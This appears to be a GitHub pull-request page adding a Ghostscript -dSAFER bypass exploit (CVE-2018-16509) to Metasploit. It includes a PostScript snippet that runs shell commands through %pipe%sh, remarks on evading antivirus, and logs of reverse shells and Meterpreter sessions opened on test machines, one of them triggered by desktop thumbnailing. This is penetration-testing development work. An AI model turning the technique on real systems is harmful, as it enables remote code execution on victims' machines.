New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Ghostscript failed restore exploit from taviso (CVE-2018-16509) #10564

Merged
merged 6 commits into from Sep 6, 2018

Conversation

Projects
None yet
7 participants
@wvu-r7
Copy link
Contributor

wvu-r7 commented Aug 30, 2018

Depends on #10591

msf5 exploit(multi/fileformat/ghostscript_failed_restore) > info

       Name: Ghostscript Failed Restore Command Execution
     Module: exploit/multi/fileformat/ghostscript_failed_restore
   Platform: Unix, Linux, Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-08-21

Provided by:
  Tavis Ormandy
  wvu <wvu@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Unix (In-Memory)
  1   PowerShell (In-Memory)
  2   Linux (Dropper)

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.ps           yes       Output file
  SRVHOST   0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                    no        The URI to use for this exploit (default is random)

Payload information:
  Space: 4089

Description:
  This module exploits a -dSAFER bypass in Ghostscript to execute
  arbitrary commands by handling a failed restore (grestore) in
  PostScript to disable LockSafetyParams and avoid invalidaccess. This
  vulnerability is reachable via libraries such as ImageMagick, and
  this module provides the latest vector for Ghostscript. For previous
  Ghostscript vectors, please see the following modules:
  exploit/unix/fileformat/ghostscript_type_confusion
  exploit/unix/fileformat/imagemagick_delegate

References:
  CVE: Not available
  http://seclists.org/oss-sec/2018/q3/142
  https://bugs.chromium.org/p/project-zero/issues/detail?id=1640

msf5 exploit(multi/fileformat/ghostscript_failed_restore) >

Resolves #10539.

@taviso

This comment has been minimized.

Copy link

taviso commented Aug 30, 2018

I know more about PostScript than I ever wanted to 😜

Regarding very long commands, you can try this to write out the command to a temp file then call sh /tmp/file instead.

% write string into a temp file, then the filename is on the stack
null (w) .tempfile dup (very long command here) writestring closefile

% prepend %pipe%sh, so it will be (%pipe%sh /tmp/whatever)
(%pipe%sh ) exch concatstrings

% roll (adjust the stack) to put parameters in the right order, then execute
mark /OutputFile 3 -1 roll currentdevice putdeviceprops

AFAIK there is no limit to what you can write into tempfiles.

@wvu-r7 wvu-r7 added the needs-docs label Aug 31, 2018

@sempervictus

This comment has been minimized.

Copy link
Contributor

sempervictus commented Aug 31, 2018

If we could avoid writing files to storage, it would reduce detection and the chance of hitting a noxec mount...

@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Aug 31, 2018

@sempervictus: Agreed, and this isn't a problem for the Unix payloads. We usually supply WritableDir anyway for noexec. The space restriction appears to be 4096 bytes total (4089 effective).

This is a problem with the PSH command, which gets a little too big too fast if fully encoded. So far Defender is catching it even without writing to disk. I'm hesitant to immediately play the cat-and-mouse game of AV evasion, though. Not for this.

That said, I was able to get a Meterpreter shell using PSH delivery. I'll need to upload my testing notes.

@sempervictus
Copy link
Contributor

sempervictus left a comment

We can do the staging trick normally done via env vars using the web-client or named pipes as the staging ground, assuming we can't figure out a way to deliver internally.

@bwatters-r7

This comment has been minimized.

Copy link
Contributor

bwatters-r7 commented Sep 4, 2018

Stupid question: Would rapid7/rex-powershell#14 fix the length issue?

@bwatters-r7 bwatters-r7 closed this Sep 4, 2018

@bwatters-r7 bwatters-r7 reopened this Sep 4, 2018

@bwatters-r7

This comment has been minimized.

Copy link
Contributor

bwatters-r7 commented Sep 4, 2018

Buttons are too close!

],
'DisclosureDate' => 'Aug 21 2018',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'win'],

This comment has been minimized.

@bwatters-r7

bwatters-r7 Sep 4, 2018

Contributor

I may be completely ignorant, but I thought the cool thing about this was that it worked out of the box on a bunch of linux distros?

This comment has been minimized.

@wvu-r7

wvu-r7 Sep 5, 2018

Contributor

unix is a bit of a catch-all for Unix-like systems. Specifically, it enables access to the cmd/unix payloads we need. I'm sorry it isn't very clear.

This comment has been minimized.

@wvu-r7

wvu-r7 Sep 5, 2018

Contributor

And since this is a file format exploit, we'd want a one-shot dropper. That can be done to enable linux as a platform.

@acammack-r7 acammack-r7 self-assigned this Sep 5, 2018

@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Sep 5, 2018

Adequate:

msf5 > search ghostscript

Matching Modules
================

   Name                                                 Disclosure Date  Rank       Check  Description
   ----                                                 ---------------  ----       -----  -----------
   auxiliary/server/capture/printjob_capture                             normal     No     Printjob Capture Service
   exploit/multi/fileformat/ghostscript_failed_restore  2018-08-21       excellent  No     Ghostscript Failed Restore Command Execution
   exploit/unix/fileformat/ghostscript_type_confusion   2017-04-27       excellent  No     Ghostscript Type Confusion Arbitrary Command Execution
   exploit/unix/fileformat/imagemagick_delegate         2016-05-03       excellent  No     ImageMagick Delegate Arbitrary Command Execution


msf5 > search imagemagick

Matching Modules
================

   Name                                                 Disclosure Date  Rank       Check  Description
   ----                                                 ---------------  ----       -----  -----------
   exploit/multi/fileformat/ghostscript_failed_restore  2018-08-21       excellent  No     Ghostscript Failed Restore Command Execution
   exploit/unix/fileformat/ghostscript_type_confusion   2017-04-27       excellent  No     Ghostscript Type Confusion Arbitrary Command Execution
   exploit/unix/fileformat/imagemagick_delegate         2016-05-03       excellent  No     ImageMagick Delegate Arbitrary Command Execution
   exploit/unix/webapp/coppermine_piceditor             2008-01-30       excellent  Yes    Coppermine Photo Gallery picEditor.php Command Execution


msf5 >

We will want to implement module suggestions in the future, perhaps leveraging #10563. Module deprecations might be refactored as a result.

@wvu-r7 wvu-r7 referenced this pull request Sep 5, 2018

Merged

Fix target DisableNops not being passed to payload #10591

2 of 2 tasks complete

@wvu-r7 wvu-r7 force-pushed the wvu-r7:feature/ghostscript branch 3 times, most recently from 3a57aba to 3b7bf66 Sep 5, 2018

@wvu-r7 wvu-r7 force-pushed the wvu-r7:feature/ghostscript branch from eac0350 to 78292d5 Sep 6, 2018

wvu-r7 added some commits Aug 30, 2018

Eschew updating imagemagick_delegate
The hype is over, and the target was provided as a bonus. Now update the
module language to reflect that.

@wvu-r7 wvu-r7 force-pushed the wvu-r7:feature/ghostscript branch from 78292d5 to f34146b Sep 6, 2018

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Sep 6, 2018

Seems to work for me:

msf5 exploit(multi/fileformat/ghostscript_failed_restore) > [*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo N03NsXFqQIEyVOn8;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Command: echo c7xKsnHtm1HYG3sM;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "N03NsXFqQIEyVOn8\r\n"
[*] Matching...
[*] A is input...
[*] Reading from socket B
[*] B: "c7xKsnHtm1HYG3sM\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (172.16.249.1:4444 -> 172.16.249.154:50236) at 2018-09-05 21:03:23 -0500
[*] Command shell session 1 opened (172.16.249.1:4444 -> 172.16.249.154:50232) at 2018-09-05 21:03:23 -0500
id
[*] exec: id

uid=1948661480(wchen) gid=2075806812 groups=2075806812,12(everyone),20(staff),62(netaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),702(com.apple.sharepoint.group.2),501(access_bpf),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),701(com.apple.sharepoint.group.1)

@wchen-r7 wchen-r7 assigned wchen-r7 and unassigned acammack-r7 Sep 6, 2018

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Sep 6, 2018

Linux payload works for me too.

@wchen-r7 wchen-r7 merged commit f34146b into rapid7:master Sep 6, 2018

3 checks passed

Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details

wchen-r7 added a commit that referenced this pull request Sep 6, 2018

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Sep 6, 2018

Release Notes

This module exploits a -dSAFER bypass in Ghostscript to execute arbitrary commands by handling a failed restore (grestore) in PostScript to disable LockSafetyParams and avoid invalidaccess. This vulnerability is reachable via libraries such as ImageMagick, and this module provides the latest vector for Ghostscript.

msjenkins-r7 added a commit that referenced this pull request Sep 6, 2018

@wvu-r7 wvu-r7 deleted the wvu-r7:feature/ghostscript branch Sep 6, 2018

@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Sep 6, 2018

@taviso: Successfully tested against CentOS as referenced in https://bugs.chromium.org/p/project-zero/issues/detail?id=1640#c9.

On the older Ghostscript, I was limited to 253 bytes as per http://git.ghostscript.com/?p=ghostpdl.git;a=blobdiff;f=gs/base/gp.h;h=829a782fd342b0d6b3d47420af1bdee58ef67a45;hp=d1b8fa663e5fe9a5a6a76b659114ad05bfe65dee;hb=fe0b8fcfb69246cbea99b85f453ed6c3c83f4592;hpb=83b6646951fee8fe153d14d3e2d7da75894b922a.

Curiously, nc is symlinked to preinstalled ncat on CentOS, so -e is a supported option. The wget and curl command stagers also worked.

Equally interesting is the same test scenario against stock Ubuntu:

msf5 exploit(multi/fileformat/ghostscript_failed_restore) > run

[*] Started reverse TCP handler on 192.168.56.1:4444
[+] msf.tiff stored at /Users/wvu/.msf4/local/msf.tiff
[*] Sending stage (816260 bytes) to 192.168.56.103
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.103:41872) at 2018-09-06 03:53:13 -0500

meterpreter > getuid
Server username: uid=999, gid=999, euid=999, egid=999
meterpreter > sysinfo
Computer     : 10.0.2.15
OS           : Ubuntu 18.04 (Linux 4.15.0-29-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

.tiff did not trigger viewing by the browser (Firefox in this case) and prompted for the file to be saved. Opening the ~/Downloads directory in the file manager (Nautilus as well, IIRC) triggered the bug. I did need to clear the thumbnail cache with rm -rf ~/.cache/thumbnails for repeated exploitation.

ubuntu@ubuntu:~$ file -i Downloads/msf.tiff
Downloads/msf.tiff: application/postscript; charset=us-ascii
ubuntu@ubuntu:~$ grep -l application/postscript /usr/share/thumbnailers/*
/usr/share/thumbnailers/evince.thumbnailer
ubuntu@ubuntu:~$

The designated thumbnailer for PostScript is also evince-thumbnailer. This stuff doesn't end, does it? 😅

Thanks for your efforts!

ETA: strace output for posterity:

ubuntu@ubuntu:~/Downloads$ strace -qqfe execve nautilus .
execve("/usr/bin/nautilus", ["nautilus", "."], 0x7ffeefd09898 /* 53 vars */) = 0
[pid 10447] execve("/usr/local/sbin/evince-thumbnailer", ["evince-thumbnailer", "-s", "256", "file:///home/ubuntu/Downloads/ms"..., "/tmp/.gnome_desktop_thumbnail.ZK"...], 0x7ffc2a183a30 /* 53 vars */) = -1 ENOENT (No such file or directory)
[pid 10447] execve("/usr/local/bin/evince-thumbnailer", ["evince-thumbnailer", "-s", "256", "file:///home/ubuntu/Downloads/ms"..., "/tmp/.gnome_desktop_thumbnail.ZK"...], 0x7ffc2a183a30 /* 53 vars */) = -1 ENOENT (No such file or directory)
[pid 10447] execve("/usr/sbin/evince-thumbnailer", ["evince-thumbnailer", "-s", "256", "file:///home/ubuntu/Downloads/ms"..., "/tmp/.gnome_desktop_thumbnail.ZK"...], 0x7ffc2a183a30 /* 53 vars */) = -1 ENOENT (No such file or directory)
[pid 10447] execve("/usr/bin/evince-thumbnailer", ["evince-thumbnailer", "-s", "256", "file:///home/ubuntu/Downloads/ms"..., "/tmp/.gnome_desktop_thumbnail.ZK"...], 0x7ffc2a183a30 /* 53 vars */) = 0
[pid 10451] execve("/bin/sh", ["sh", "-c", "id; uname -a"], 0x7ffefb6a1358 /* 53 vars */) = 0
[pid 10452] execve("/usr/bin/id", ["id"], 0x55e303ceee28 /* 53 vars */) = 0
uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
[pid 10451] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=10452, si_uid=999, si_status=0, si_utime=0, si_stime=0} ---
[pid 10453] execve("/bin/uname", ["uname", "-a"], 0x55e303ceee58 /* 53 vars */) = 0
Linux ubuntu 4.15.0-29-generic #31-Ubuntu SMP Tue Jul 17 15:39:52 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[pid 10451] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=10453, si_uid=999, si_status=0, si_utime=0, si_stime=0} ---
[pid 10447] --- SIGPIPE {si_signo=SIGPIPE, si_code=SI_USER, si_pid=10447, si_uid=999} ---
[pid 10449] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=10451, si_uid=999, si_status=0, si_utime=0, si_stime=0} ---
[pid 10445] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=10447, si_uid=999, si_status=0, si_utime=5, si_stime=1} ---
ubuntu@ubuntu:~/Downloads$

@acammack-r7 acammack-r7 referenced this pull request Sep 16, 2018

Merged

Add CVE reference to ghostscript_failed_restore.rb #10604

3 of 3 tasks complete

@wvu-r7 wvu-r7 changed the title Add Ghostscript exploit from taviso Add Ghostscript failed restore exploit from taviso (CVE-2018-16509) Sep 16, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment